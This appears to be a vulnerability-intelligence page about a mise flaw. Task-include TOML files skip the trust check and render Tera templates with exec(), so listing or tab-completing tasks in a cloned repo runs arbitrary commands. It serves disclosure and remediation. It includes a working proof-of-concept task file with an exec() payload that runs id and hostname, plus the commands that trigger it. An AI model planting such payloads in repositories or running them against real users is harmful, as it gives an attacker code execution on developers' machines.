Severity by source
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Local repo required (AV:L); trivial Tab-completion trigger (AC:L); no auth needed (PR:N); victim must list or complete (UI:R); template engine breaks out to OS shell (S:C); full RCE as user (C/I/A:H).
Primary rating from Vendor (https://github.com/jdx/mise).
CVSS VectorVendor: https://github.com/jdx/mise
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields - and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task
Details
Trust is enforced only inside config-file parsing:
src/config/config_file/mise_toml.rs:276-MiseToml::from_str→trust_check(path)?src/config/config_file/tool_versions.rs:62-.tool-versionsparser →trust_check(&path)?src/config/env_directive/mod.rs:681- env templates →trust_check(path)?(only when the value contains template syntax)
Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds - with no trust check:
src/config/mod.rs (load_tasks_in_dir, ~2586):
let (includes, resolve_dir) = configs
.iter()
.find_map(|cf| match cf.task_config_includes() { … })
.transpose()?
.unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
let paths = … expand_task_include(&resolve_dir, include);
for p in paths {
let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
…
}
}default_task_includes() (src/config/mod.rs:1825):
vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:
let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec()Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):
let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}get_tera (src/tera.rs:407) registers the command-executing functions:
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file - or in a #MISE description="…" header of an executable script task (Task::from_path) - executes when the task is merely *loaded for listing*, with no trust prompt. exec() is not gated by experimental (default experimental = false).
Proof of concept
Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.
Repo layout :
malicious-repo/
└── mise-tasks/
└── ci.tomlmise-tasks/ci.toml:
[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):
export HOME="$(mktemp -d)"
# nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks
# or: mise task ls / mise run / mise tasks --usageoutput:
testand the side effect :
miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linuxAnalysisAI
Arbitrary command execution in mise versions prior to 2026.6.4 allows attacker-controlled repositories to run commands the moment a victim lists or tab-completes a task. The trust gate only fires inside config-file parsers (mise.toml, .tool-versions), so a repo that ships a mise-tasks/ (or .mise/tasks/) directory without any config file bypasses the prompt entirely, and the Tera exec() function registered in the rendering environment fires while tasks are merely enumerated. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Victim must have a vulnerable mise (< 2026.6.4) installed and must operate inside a directory tree the attacker controls. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals point to a meaningful real-world risk for developers, not a hypothetical issue. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes an innocuous-looking project (e.g., a sample app, a coding-challenge repo, a forked PR) containing `mise-tasks/ci.toml` with a `description = "{{ exec(command='…') }}"` payload but no `mise.toml`. A developer clones the repo and either runs `mise tasks` to inspect it or, more likely, just `cd`s in with `mise activate` enabled and hits Tab while typing `mise run …`. … |
| Remediation | Vendor-released patch: 2026.6.4 - upgrade immediately via your installation method (`mise self-update`, package manager, or download the release binary) and verify with `mise --version`. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all mise installations and identify affected versions; restrict developer interactions with untrusted repositories; notify development teams of active exploitation risk. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39815
GHSA-77g9-363w-rccq